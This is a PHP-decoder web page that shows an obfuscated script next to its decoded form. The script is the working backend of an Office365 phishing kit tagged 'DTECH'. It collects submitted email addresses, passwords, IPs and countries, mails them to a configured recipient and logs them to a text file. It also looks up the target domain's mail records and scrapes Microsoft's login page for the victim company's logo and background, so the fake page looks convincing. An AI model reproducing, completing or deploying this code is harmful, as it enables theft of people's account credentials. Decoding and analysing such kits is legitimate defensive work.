Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4c\x4fB\x41L\x53"}["\x6avm\x62h\x62mvu\x70"]="b\x67\x5f\x69\x6d\x61\x67\x65";$..
Decoded Output download
<?php ${"GLOBALS"}["jvmbhbmvup"]="bg_image";${"GLOBALS"}["gbbujug"]="logo_image";${"GLOBALS"}["tuxvbrg"]="Illustration";${"GLOBALS"}["uvsecnlpuoj"]="result";${"GLOBALS"}["rvxfggd"]="BannerLogo";${"GLOBALS"}["hyzovmf"]="post";${"GLOBALS"}["bvcojo"]="query";${"GLOBALS"}["bnejflfxpnou"]="parts";${"GLOBALS"}["neriijrs"]="respond_link";${"GLOBALS"}["bcfcsaijtjz"]="email";${"GLOBALS"}["pgieodjdjt"]="ch";${"GLOBALS"}["fvcnwgvqhfv"]="domain";${"GLOBALS"}["wlmlpcli"]="country";${"GLOBALS"}["dlxfijgnunl"]="user";${"GLOBALS"}["nwdnitkrcjdq"]="message";${"GLOBALS"}["cfalfrmvk"]="ip";${"GLOBALS"}["qohhuspp"]="pass";${"GLOBALS"}["bfqcdxvoa"]="finished";header("Access-Control-Allow-Origin: *");ini_set("display_errors",0);require"config.php";if(isset($_POST["user"])&&isset($_POST["pass"])){$ronxqo="message";$kswbqpqoeq="user";${"GLOBALS"}["tdvmxyzcsx"]="message";${${"GLOBALS"}["bfqcdxvoa"]}="apps/success?status=ok";$upesqvlr="subject";$qwisdpbskli="pass";${$kswbqpqoeq}=$_POST["user"];${"GLOBALS"}["srvrjutvqoir"]="message";$mjusstk="message";${${"GLOBALS"}["qohhuspp"]}=$_POST["pass"];${"GLOBALS"}["xjlccylusqpu"]="headers";$ohhbunhyjzqx="country";${${"GLOBALS"}["cfalfrmvk"]}=$_POST["ip"];${$ohhbunhyjzqx}=$_POST["country"];$amuiolhrglbu="message";${$amuiolhrglbu}="-----------------+ True Login Verfied +-----------------
";${${"GLOBALS"}["nwdnitkrcjdq"]}.="Email: ".${${"GLOBALS"}["dlxfijgnunl"]}."
";${${"GLOBALS"}["tdvmxyzcsx"]}.="Pass: ".${$qwisdpbskli}."
";${$mjusstk}.="IP : ".${${"GLOBALS"}["cfalfrmvk"]}."
";${"GLOBALS"}["mlwvdeyts"]="headers";${$ronxqo}.="Country : ".${${"GLOBALS"}["wlmlpcli"]}."
";$xqcxyygrrd="headers";${${"GLOBALS"}["srvrjutvqoir"]}.="-----------------+DTECH+------------------
";${"GLOBALS"}["askssrkkh"]="recipient";${$upesqvlr}="Office365 | $country | $user";${${"GLOBALS"}["mlwvdeyts"]}="MIME-Version: 1.0
";$wnpoigce="subject";$dtltyftbtif="message";${$xqcxyygrrd}="From: DTECH <contact>
";mail(${${"GLOBALS"}["askssrkkh"]},${$wnpoigce},${$dtltyftbtif},${${"GLOBALS"}["xjlccylusqpu"]});@fclose(@fwrite(@fopen("stored.txt","a"),${${"GLOBALS"}["nwdnitkrcjdq"]}));echo${${"GLOBALS"}["bfqcdxvoa"]};}if(isset($_GET["domain"])){${"GLOBALS"}["wgkbojfs"]="mx";${${"GLOBALS"}["fvcnwgvqhfv"]}=$_GET["domain"];$pyfhuupkby="ch";${${"GLOBALS"}["pgieodjdjt"]}=curl_init();curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_URL,"http://mx-api.com/mx/mx.api?domain=$domain");curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_RETURNTRANSFER,true);echo${${"GLOBALS"}["wgkbojfs"]}=curl_exec(${$pyfhuupkby});}if(isset($_POST["barnd"])){${"GLOBALS"}["xcfntwx"]="Illustration";$saiyjkol="ch";${"GLOBALS"}["mifpqwdfnltb"]="respond_link";$uobkeqpe="post";${"GLOBALS"}["zrrlybdhx"]="email";${"GLOBALS"}["ndshqo"]="ch";$uihevhwh="BannerLogo";${"GLOBALS"}["nmelwynkd"]="bg_image";${"GLOBALS"}["wlwxupk"]="ch";${${"GLOBALS"}["bcfcsaijtjz"]}=$_POST["email"];${${"GLOBALS"}["wlwxupk"]}=curl_init();curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_URL,"https://www.office.com/login?es=Click&ru=%2F");${"GLOBALS"}["gegxefxbp"]="Illustration";$ajwygcnct="ch";curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_FOLLOWLOCATION,TRUE);${"GLOBALS"}["szxupfemc"]="result";${"GLOBALS"}["htbqdyfq"]="ch";curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_RETURNTRANSFER,TRUE);${"GLOBALS"}["jxhyyemcs"]="Illustration";curl_setopt(${$saiyjkol},CURLOPT_USERAGENT,"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36");$sbniqxzwr="result";curl_setopt(${${"GLOBALS"}["ndshqo"]},CURLOPT_HTTPHEADER,array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"));${"GLOBALS"}["jlkpgwxnhj"]="ch";curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_SSL_VERIFYHOST,FALSE);${${"GLOBALS"}["szxupfemc"]}=curl_exec(${${"GLOBALS"}["htbqdyfq"]});${"GLOBALS"}["crjyyjnrda"]="ch";$xlcctuopl="res";${"GLOBALS"}["giguoxhhn"]="Illustration";${"GLOBALS"}["mnvozdfjf"]="ch";${"GLOBALS"}["rcpchntkrp"]="result";$xjycsybmwzg="query";${${"GLOBALS"}["neriijrs"]}=curl_getinfo(${${"GLOBALS"}["pgieodjdjt"]},CURLINFO_EFFECTIVE_URL);${"GLOBALS"}["piqgkuv"]="parts";curl_close(${${"GLOBALS"}["pgieodjdjt"]});${${"GLOBALS"}["piqgkuv"]}=parse_url(${${"GLOBALS"}["neriijrs"]});parse_str(${${"GLOBALS"}["bnejflfxpnou"]}["query"],${${"GLOBALS"}["bvcojo"]});${${"GLOBALS"}["hyzovmf"]}=["client_id"=>${$xjycsybmwzg}["client_id"],"login_hint"=>${${"GLOBALS"}["zrrlybdhx"]}];$phctozye="ch";${"GLOBALS"}["wvkmlvsm"]="res";${${"GLOBALS"}["pgieodjdjt"]}=curl_init();curl_setopt(${$phctozye},CURLOPT_POST,TRUE);curl_setopt(${${"GLOBALS"}["mnvozdfjf"]},CURLOPT_POSTFIELDS,http_build_query(${$uobkeqpe}));curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_URL,${${"GLOBALS"}["mifpqwdfnltb"]});curl_setopt(${${"GLOBALS"}["jlkpgwxnhj"]},CURLOPT_FOLLOWLOCATION,TRUE);curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_RETURNTRANSFER,TRUE);curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_USERAGENT,"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36");curl_setopt(${$ajwygcnct},CURLOPT_HTTPHEADER,array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"));curl_setopt(${${"GLOBALS"}["pgieodjdjt"]},CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt(${${"GLOBALS"}["crjyyjnrda"]},CURLOPT_SSL_VERIFYHOST,FALSE);${${"GLOBALS"}["rcpchntkrp"]}=curl_exec(${${"GLOBALS"}["pgieodjdjt"]});curl_close(${${"GLOBALS"}["pgieodjdjt"]});preg_match_all("|"BannerLogo[^>]+":(.*)\"/[^>]+",|U",${$sbniqxzwr},${${"GLOBALS"}["rvxfggd"]},PREG_PATTERN_ORDER);${${"GLOBALS"}["rvxfggd"]}=explode(",",${$uihevhwh}[0][0]);preg_match_all("#https?://[^,\s()<>]+(?:\([\w\d]+\)|([^,[:punct:]\s]|/))#",${${"GLOBALS"}["rvxfggd"]}[0],${${"GLOBALS"}["rvxfggd"]});preg_match_all("|"Illustration[^>]+":(.*)"/[^>]+\",|U",${${"GLOBALS"}["uvsecnlpuoj"]},${${"GLOBALS"}["tuxvbrg"]},PREG_PATTERN_ORDER);${${"GLOBALS"}["gegxefxbp"]}=explode(",",${${"GLOBALS"}["xcfntwx"]}[0][0]);preg_match_all("#\bhttps?://[^,\s()<>]+(?:\([\w\d]+\)|([^,[:punct:]\s]|/))#",${${"GLOBALS"}["jxhyyemcs"]}[0],${${"GLOBALS"}["tuxvbrg"]});${${"GLOBALS"}["gbbujug"]}=${${"GLOBALS"}["rvxfggd"]}[0][0];${${"GLOBALS"}["nmelwynkd"]}=${${"GLOBALS"}["giguoxhhn"]}[0][0];${${"GLOBALS"}["wvkmlvsm"]}=array("logo_image"=>${${"GLOBALS"}["gbbujug"]},"bg_image"=>${${"GLOBALS"}["jvmbhbmvup"]});echo json_encode(${$xlcctuopl});}
?>Did this file decode correctly?
Original Code
<?php ${"G\x4c\x4fB\x41L\x53"}["\x6avm\x62h\x62mvu\x70"]="b\x67\x5f\x69\x6d\x61\x67\x65";${"\x47\x4c\x4f\x42A\x4c\x53"}["gb\x62\x75ju\x67"]="\x6co\x67\x6f_\x69\x6d\x61g\x65";${"G\x4c\x4fBA\x4c\x53"}["tu\x78\x76\x62\x72\x67"]="I\x6cl\x75s\x74\x72\x61\x74io\x6e";${"G\x4c\x4f\x42A\x4c\x53"}["u\x76\x73e\x63\x6e\x6cpuo\x6a"]="\x72esu\x6c\x74";${"\x47\x4c\x4fB\x41L\x53"}["rv\x78\x66g\x67\x64"]="\x42ann\x65\x72\x4cogo";${"GL\x4f\x42AL\x53"}["hy\x7a\x6f\x76m\x66"]="\x70\x6f\x73t";${"\x47LO\x42\x41\x4c\x53"}["\x62\x76\x63\x6fj\x6f"]="\x71\x75e\x72y";${"\x47\x4cOB\x41\x4c\x53"}["\x62\x6ee\x6a\x66l\x66\x78pno\x75"]="p\x61\x72\x74\x73";${"GL\x4f\x42AL\x53"}["ner\x69ijrs"]="\x72\x65\x73\x70\x6f\x6e\x64\x5f\x6ci\x6ek";${"GL\x4f\x42\x41LS"}["bc\x66\x63saij\x74\x6az"]="\x65m\x61\x69l";${"G\x4cOB\x41\x4c\x53"}["\x70\x67\x69\x65\x6fdj\x64\x6at"]="\x63\x68";${"\x47\x4cO\x42A\x4cS"}["\x66v\x63nw\x67v\x71\x68\x66\x76"]="dom\x61i\x6e";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77l\x6dl\x70\x63\x6c\x69"]="\x63\x6f\x75\x6e\x74\x72\x79";${"GLO\x42\x41\x4cS"}["dl\x78f\x69\x6a\x67\x6e\x75\x6e\x6c"]="\x75\x73\x65\x72";${"\x47LOB\x41L\x53"}["\x6e\x77\x64\x6e\x69\x74\x6b\x72\x63\x6a\x64\x71"]="\x6d\x65\x73\x73\x61g\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["\x63falf\x72\x6dvk"]="\x69\x70";${"GL\x4fB\x41\x4c\x53"}["\x71\x6f\x68\x68\x75\x73\x70\x70"]="pa\x73s";${"G\x4cOBAL\x53"}["\x62\x66qc\x64\x78\x76\x6f\x61"]="\x66\x69\x6e\x69\x73he\x64";header("\x41\x63ces\x73-C\x6fnt\x72ol-\x41l\x6c\x6fw-\x4f\x72igi\x6e: *");ini_set("\x64\x69\x73\x70\x6cay\x5f\x65\x72\x72\x6f\x72\x73",0);require"co\x6efig\x2ep\x68\x70";if(isset($_POST["\x75s\x65\x72"])&&isset($_POST["p\x61ss"])){$ronxqo="\x6des\x73\x61\x67\x65";$kswbqpqoeq="\x75\x73\x65r";${"\x47\x4cOBA\x4cS"}["\x74dvmxy\x7ac\x73\x78"]="\x6d\x65s\x73age";${${"\x47\x4c\x4fB\x41\x4cS"}["b\x66\x71\x63\x64\x78v\x6f\x61"]}="\x61\x70\x70s/\x73\x75ccess?\x73t\x61tus\x3d\x6fk";$upesqvlr="\x73u\x62\x6aec\x74";$qwisdpbskli="p\x61\x73\x73";${$kswbqpqoeq}=$_POST["\x75\x73e\x72"];${"\x47\x4c\x4f\x42\x41\x4cS"}["\x73\x72v\x72\x6a\x75\x74\x76\x71\x6f\x69r"]="mes\x73ag\x65";$mjusstk="m\x65\x73\x73\x61g\x65";${${"\x47\x4cO\x42\x41\x4c\x53"}["q\x6f\x68h\x75\x73p\x70"]}=$_POST["pas\x73"];${"\x47LOBA\x4cS"}["\x78\x6a\x6cc\x63\x79l\x75sqp\x75"]="he\x61\x64\x65\x72\x73";$ohhbunhyjzqx="\x63o\x75\x6etr\x79";${${"G\x4cO\x42A\x4c\x53"}["\x63\x66\x61\x6c\x66\x72\x6dvk"]}=$_POST["\x69\x70"];${$ohhbunhyjzqx}=$_POST["\x63\x6f\x75\x6et\x72y"];$amuiolhrglbu="\x6des\x73\x61\x67e";${$amuiolhrglbu}="-----------------+\x20\x54\x72u\x65\x20Logi\x6e \x56er\x66\x69ed\x20 +-----------------\n";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x77d\x6ei\x74\x6br\x63\x6a\x64\x71"]}.="\x45\x6dail:\x20".${${"G\x4c\x4f\x42\x41\x4c\x53"}["d\x6c\x78\x66\x69\x6a\x67\x6eu\x6e\x6c"]}."\n";${${"\x47LO\x42\x41\x4cS"}["\x74\x64v\x6d\x78\x79\x7a\x63\x73\x78"]}.="\x50\x61s\x73: ".${$qwisdpbskli}."\n";${$mjusstk}.="\x49\x50\x20\x20 \x20\x20\x20: ".${${"G\x4c\x4fBA\x4c\x53"}["\x63\x66\x61\x6c\x66r\x6dv\x6b"]}."\n";${"\x47L\x4fB\x41LS"}["\x6d\x6c\x77vdey\x74\x73"]="h\x65\x61d\x65\x72\x73";${$ronxqo}.="\x43\x6f\x75\x6e\x74r\x79 \x20 : ".${${"\x47\x4cO\x42A\x4cS"}["\x77\x6cm\x6c\x70\x63\x6c\x69"]}."\n";$xqcxyygrrd="\x68\x65a\x64\x65\x72\x73";${${"\x47LO\x42\x41\x4c\x53"}["\x73rv\x72\x6au\x74\x76\x71o\x69\x72"]}.="-----------------+\x44TE\x43H+------------------\n";${"\x47LOB\x41LS"}["\x61\x73\x6b\x73\x73rk\x6b\x68"]="re\x63ip\x69\x65\x6et";${$upesqvlr}="\x4fff\x69\x63e\x3365\x20|\x20$country |\x20$user";${${"G\x4cO\x42ALS"}["ml\x77\x76\x64\x65\x79\x74s"]}="\x4dIME-\x56\x65\x72\x73\x69\x6fn: \x31\x2e\x30\n";$wnpoigce="\x73u\x62j\x65ct";$dtltyftbtif="\x6d\x65s\x73a\x67\x65";${$xqcxyygrrd}="F\x72\x6fm: DTECH \x3cc\x6f\x6et\x61\x63t>\n";mail(${${"GL\x4f\x42A\x4c\x53"}["\x61\x73\x6bss\x72\x6b\x6b\x68"]},${$wnpoigce},${$dtltyftbtif},${${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x6a\x6ccc\x79\x6cusq\x70\x75"]});@fclose(@fwrite(@fopen("s\x74ored.\x74xt","\x61"),${${"\x47LO\x42A\x4cS"}["nw\x64\x6e\x69\x74\x6b\x72\x63\x6a\x64q"]}));echo${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x62\x66\x71c\x64\x78\x76\x6fa"]};}if(isset($_GET["do\x6da\x69\x6e"])){${"\x47\x4c\x4fB\x41\x4cS"}["\x77\x67k\x62o\x6af\x73"]="\x6d\x78";${${"\x47\x4cO\x42\x41L\x53"}["\x66\x76c\x6e\x77g\x76q\x68f\x76"]}=$_GET["\x64o\x6d\x61\x69n"];$pyfhuupkby="\x63\x68";${${"G\x4c\x4f\x42AL\x53"}["p\x67ieod\x6a\x64\x6a\x74"]}=curl_init();curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["pg\x69eo\x64\x6adj\x74"]},CURLOPT_URL,"h\x74t\x70://\x6dx-ap\x69.\x63o\x6d/mx/\x6d\x78\x2e\x61\x70i?\x64o\x6d\x61\x69\x6e=$domain");curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4cS"}["p\x67i\x65o\x64\x6a\x64jt"]},CURLOPT_RETURNTRANSFER,true);echo${${"\x47\x4cOBA\x4c\x53"}["\x77g\x6b\x62o\x6a\x66s"]}=curl_exec(${$pyfhuupkby});}if(isset($_POST["bar\x6e\x64"])){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x78\x63f\x6e\x74\x77\x78"]="\x49\x6cl\x75\x73\x74\x72\x61\x74\x69o\x6e";$saiyjkol="\x63\x68";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6di\x66\x70\x71\x77d\x66nl\x74\x62"]="\x72\x65s\x70\x6f\x6e\x64_li\x6ek";$uobkeqpe="po\x73t";${"\x47\x4cO\x42\x41L\x53"}["\x7a\x72r\x6cybd\x68x"]="\x65\x6d\x61\x69\x6c";${"\x47\x4c\x4f\x42\x41L\x53"}["\x6ed\x73h\x71\x6f"]="ch";$uihevhwh="\x42\x61\x6e\x6e\x65\x72\x4c\x6f\x67\x6f";${"\x47L\x4f\x42\x41\x4cS"}["\x6e\x6de\x6cw\x79\x6e\x6bd"]="\x62\x67\x5fi\x6da\x67\x65";${"\x47\x4cOBA\x4c\x53"}["wl\x77\x78u\x70\x6b"]="\x63h";${${"\x47LO\x42AL\x53"}["bc\x66c\x73\x61ij\x74jz"]}=$_POST["e\x6dai\x6c"];${${"\x47LO\x42\x41L\x53"}["w\x6c\x77\x78u\x70\x6b"]}=curl_init();curl_setopt(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70\x67\x69e\x6f\x64\x6a\x64\x6at"]},CURLOPT_URL,"h\x74tp\x73://w\x77\x77\x2eoffi\x63e.c\x6f\x6d/\x6co\x67\x69n?\x65s\x3dC\x6cic\x6b\x26ru\x3d%\x32\x46");${"\x47\x4c\x4f\x42\x41L\x53"}["\x67\x65\x67\x78ef\x78\x62p"]="\x49\x6c\x6c\x75\x73\x74\x72\x61t\x69\x6f\x6e";$ajwygcnct="\x63\x68";curl_setopt(${${"G\x4c\x4f\x42\x41LS"}["\x70g\x69\x65\x6f\x64\x6a\x64\x6a\x74"]},CURLOPT_FOLLOWLOCATION,TRUE);${"\x47\x4cO\x42ALS"}["s\x7a\x78\x75p\x66\x65\x6d\x63"]="\x72\x65\x73u\x6c\x74";${"\x47L\x4fB\x41\x4c\x53"}["\x68t\x62\x71\x64\x79\x66q"]="c\x68";curl_setopt(${${"\x47L\x4fB\x41LS"}["p\x67\x69\x65\x6f\x64\x6a\x64j\x74"]},CURLOPT_RETURNTRANSFER,TRUE);${"\x47L\x4fBA\x4c\x53"}["\x6ax\x68\x79ye\x6d\x63\x73"]="I\x6c\x6c\x75\x73t\x72\x61\x74i\x6f\x6e";curl_setopt(${$saiyjkol},CURLOPT_USERAGENT,"\x55ser-\x41gent:\x20Mo\x7ailla/5\x2e\x30\x20(\x4d\x61c\x69\x6et\x6fs\x68\x3b\x20\x49n\x74\x65l\x20M\x61c\x20OS\x20X\x2010_10\x5f\x33) A\x70pleW\x65\x62K\x69\x74/5\x33\x37\x2e3\x36 (\x4bHTML,\x20l\x69k\x65\x20\x47\x65\x63\x6bo)\x20\x43\x68ro\x6de/\x34\x34.0\x2e2\x340\x33.\x38\x39 \x53af\x61\x72i/\x3537\x2e\x336");$sbniqxzwr="\x72\x65\x73\x75\x6c\x74";curl_setopt(${${"\x47\x4cO\x42AL\x53"}["\x6edsh\x71\x6f"]},CURLOPT_HTTPHEADER,array("\x41c\x63e\x70\x74: t\x65\x78\x74/\x68\x74ml,\x61ppl\x69\x63at\x69on/xh\x74\x6d\x6c+\x78ml,ap\x70\x6ci\x63\x61\x74i\x6f\x6e/\x78\x6d\x6c;\x71\x3d0.9,*/*\x3b\x71=\x30\x2e\x38"));${"\x47\x4cO\x42\x41L\x53"}["j\x6c\x6b\x70\x67\x77\x78\x6e\x68\x6a"]="c\x68";curl_setopt(${${"GLO\x42AL\x53"}["\x70g\x69\x65\x6f\x64\x6adjt"]},CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt(${${"\x47\x4cO\x42A\x4c\x53"}["\x70\x67\x69\x65\x6f\x64j\x64j\x74"]},CURLOPT_SSL_VERIFYHOST,FALSE);${${"G\x4c\x4f\x42ALS"}["\x73\x7ax\x75\x70\x66emc"]}=curl_exec(${${"\x47\x4c\x4f\x42\x41L\x53"}["htb\x71\x64\x79\x66\x71"]});${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63\x72j\x79\x79j\x6e\x72\x64\x61"]="ch";$xlcctuopl="r\x65s";${"\x47\x4cOB\x41\x4cS"}["gigu\x6fxhh\x6e"]="\x49\x6c\x6c\x75s\x74ra\x74\x69\x6f\x6e";${"\x47L\x4fB\x41L\x53"}["\x6dn\x76o\x7a\x64\x66jf"]="\x63\x68";${"G\x4cO\x42\x41\x4cS"}["r\x63p\x63h\x6e\x74k\x72\x70"]="r\x65\x73u\x6ct";$xjycsybmwzg="q\x75\x65ry";${${"G\x4c\x4fB\x41\x4cS"}["n\x65\x72\x69i\x6a\x72\x73"]}=curl_getinfo(${${"\x47\x4cO\x42A\x4cS"}["\x70\x67i\x65\x6f\x64\x6adj\x74"]},CURLINFO_EFFECTIVE_URL);${"G\x4cOB\x41L\x53"}["\x70\x69\x71\x67\x6b\x75\x76"]="\x70a\x72\x74\x73";curl_close(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70gi\x65o\x64j\x64j\x74"]});${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["pi\x71gkuv"]}=parse_url(${${"\x47\x4c\x4f\x42\x41LS"}["\x6e\x65\x72\x69i\x6a\x72\x73"]});parse_str(${${"G\x4c\x4f\x42\x41L\x53"}["\x62\x6e\x65\x6a\x66l\x66\x78\x70\x6e\x6f\x75"]}["\x71\x75e\x72y"],${${"GL\x4f\x42\x41\x4c\x53"}["\x62\x76\x63\x6f\x6a\x6f"]});${${"\x47LOBALS"}["\x68yzov\x6d\x66"]}=["c\x6ci\x65\x6et\x5f\x69d"=>${$xjycsybmwzg}["\x63\x6ci\x65\x6et\x5f\x69\x64"],"l\x6fgin\x5fh\x69n\x74"=>${${"\x47\x4cO\x42\x41\x4cS"}["\x7a\x72\x72ly\x62dhx"]}];$phctozye="c\x68";${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x76\x6b\x6d\x6c\x76sm"]="re\x73";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70g\x69eo\x64\x6a\x64\x6a\x74"]}=curl_init();curl_setopt(${$phctozye},CURLOPT_POST,TRUE);curl_setopt(${${"G\x4c\x4f\x42\x41LS"}["mn\x76o\x7a\x64\x66\x6a\x66"]},CURLOPT_POSTFIELDS,http_build_query(${$uobkeqpe}));curl_setopt(${${"\x47LO\x42A\x4c\x53"}["pg\x69\x65\x6fdjd\x6a\x74"]},CURLOPT_URL,${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6d\x69\x66\x70qwdf\x6e\x6c\x74\x62"]});curl_setopt(${${"GL\x4f\x42\x41\x4c\x53"}["\x6al\x6b\x70\x67\x77\x78\x6e\x68\x6a"]},CURLOPT_FOLLOWLOCATION,TRUE);curl_setopt(${${"\x47LO\x42ALS"}["\x70\x67\x69\x65\x6f\x64jd\x6a\x74"]},CURLOPT_RETURNTRANSFER,TRUE);curl_setopt(${${"\x47L\x4fB\x41\x4c\x53"}["\x70g\x69\x65o\x64\x6a\x64j\x74"]},CURLOPT_USERAGENT,"Us\x65\x72-Agen\x74:\x20M\x6fzill\x61/\x35\x2e\x30 (\x4d\x61c\x69\x6e\x74\x6fsh\x3b In\x74\x65\x6c M\x61\x63 O\x53 \x58 \x31\x30_10_\x33)\x20Apple\x57e\x62Kit/\x35\x33\x37\x2e3\x36 (KHTM\x4c, \x6c\x69k\x65\x20\x47\x65\x63\x6b\x6f)\x20\x43\x68\x72\x6f\x6de/\x344\x2e\x30.24\x30\x33.8\x39 \x53afar\x69/\x35\x33\x37.36");curl_setopt(${$ajwygcnct},CURLOPT_HTTPHEADER,array("\x41cc\x65pt:\x20te\x78\x74/ht\x6d\x6c,\x61\x70\x70\x6ci\x63\x61\x74\x69o\x6e/\x78\x68t\x6d\x6c+xml,appl\x69\x63\x61\x74\x69\x6f\x6e/xm\x6c\x3bq=0.9,*/*;q=0\x2e8"));curl_setopt(${${"\x47\x4c\x4fBA\x4cS"}["\x70\x67i\x65\x6f\x64jd\x6a\x74"]},CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt(${${"\x47\x4cO\x42\x41L\x53"}["\x63r\x6ayy\x6an\x72da"]},CURLOPT_SSL_VERIFYHOST,FALSE);${${"G\x4c\x4fBA\x4c\x53"}["\x72c\x70\x63h\x6e\x74\x6b\x72\x70"]}=curl_exec(${${"\x47L\x4fBA\x4c\x53"}["p\x67\x69e\x6f\x64\x6ad\x6a\x74"]});curl_close(${${"GLO\x42\x41\x4cS"}["p\x67\x69\x65o\x64j\x64j\x74"]});preg_match_all("|\x22\x42\x61\x6e\x6ee\x72\x4c\x6fgo[^\x3e]+\x22:(.*)\"/[^>]+\x22,|\x55",${$sbniqxzwr},${${"G\x4c\x4f\x42A\x4cS"}["\x72\x76x\x66\x67\x67d"]},PREG_PATTERN_ORDER);${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72\x76\x78f\x67\x67\x64"]}=explode(",",${$uihevhwh}[0][0]);preg_match_all("#\x5c\x62\x68ttps?://[^,\x5c\x73()\x3c>]+(?:\\([\x5cw\x5cd]+\\)|([^,[:p\x75\x6ec\x74:]\x5cs]|/))#",${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x76x\x66gg\x64"]}[0],${${"\x47\x4c\x4f\x42\x41L\x53"}["\x72\x76\x78\x66ggd"]});preg_match_all("|\x22I\x6c\x6c\x75s\x74\x72at\x69on[^>]+\x22:(\x2e*)\x22/[^>]+\",|U",${${"G\x4cO\x42A\x4c\x53"}["u\x76s\x65c\x6el\x70\x75\x6fj"]},${${"\x47\x4c\x4f\x42ALS"}["t\x75\x78\x76br\x67"]},PREG_PATTERN_ORDER);${${"\x47\x4c\x4fBA\x4c\x53"}["g\x65\x67\x78\x65\x66\x78b\x70"]}=explode(",",${${"\x47L\x4fB\x41L\x53"}["x\x63\x66\x6e\x74\x77x"]}[0][0]);preg_match_all("\x23\\\x62\x68\x74\x74ps?://[^,\\\x73()\x3c>]+(?:\x5c([\\w\\d]+\\)|([^,[:\x70u\x6ec\x74:]\x5c\x73]|/))\x23",${${"\x47L\x4fBA\x4c\x53"}["jx\x68\x79\x79e\x6d\x63\x73"]}[0],${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74\x75\x78v\x62\x72g"]});${${"\x47LOB\x41L\x53"}["g\x62b\x75j\x75\x67"]}=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x76x\x66\x67\x67\x64"]}[0][0];${${"\x47LO\x42A\x4cS"}["n\x6d\x65l\x77\x79\x6ek\x64"]}=${${"G\x4c\x4f\x42\x41\x4cS"}["\x67i\x67\x75\x6fx\x68h\x6e"]}[0][0];${${"\x47\x4cOB\x41L\x53"}["\x77\x76\x6b\x6dl\x76s\x6d"]}=array("l\x6fgo\x5fim\x61g\x65"=>${${"\x47\x4cO\x42\x41L\x53"}["\x67b\x62\x75ju\x67"]},"\x62g\x5fim\x61ge"=>${${"G\x4c\x4f\x42A\x4c\x53"}["\x6a\x76\x6db\x68b\x6d\x76\x75\x70"]});echo json_encode(${$xlcctuopl});}
?>Function Calls
| None |
Stats
| MD5 | b1ab4a63f082f0d9c7792b0450e0fd4d |
| Eval Count | 0 |
| Decode Time | 100 ms |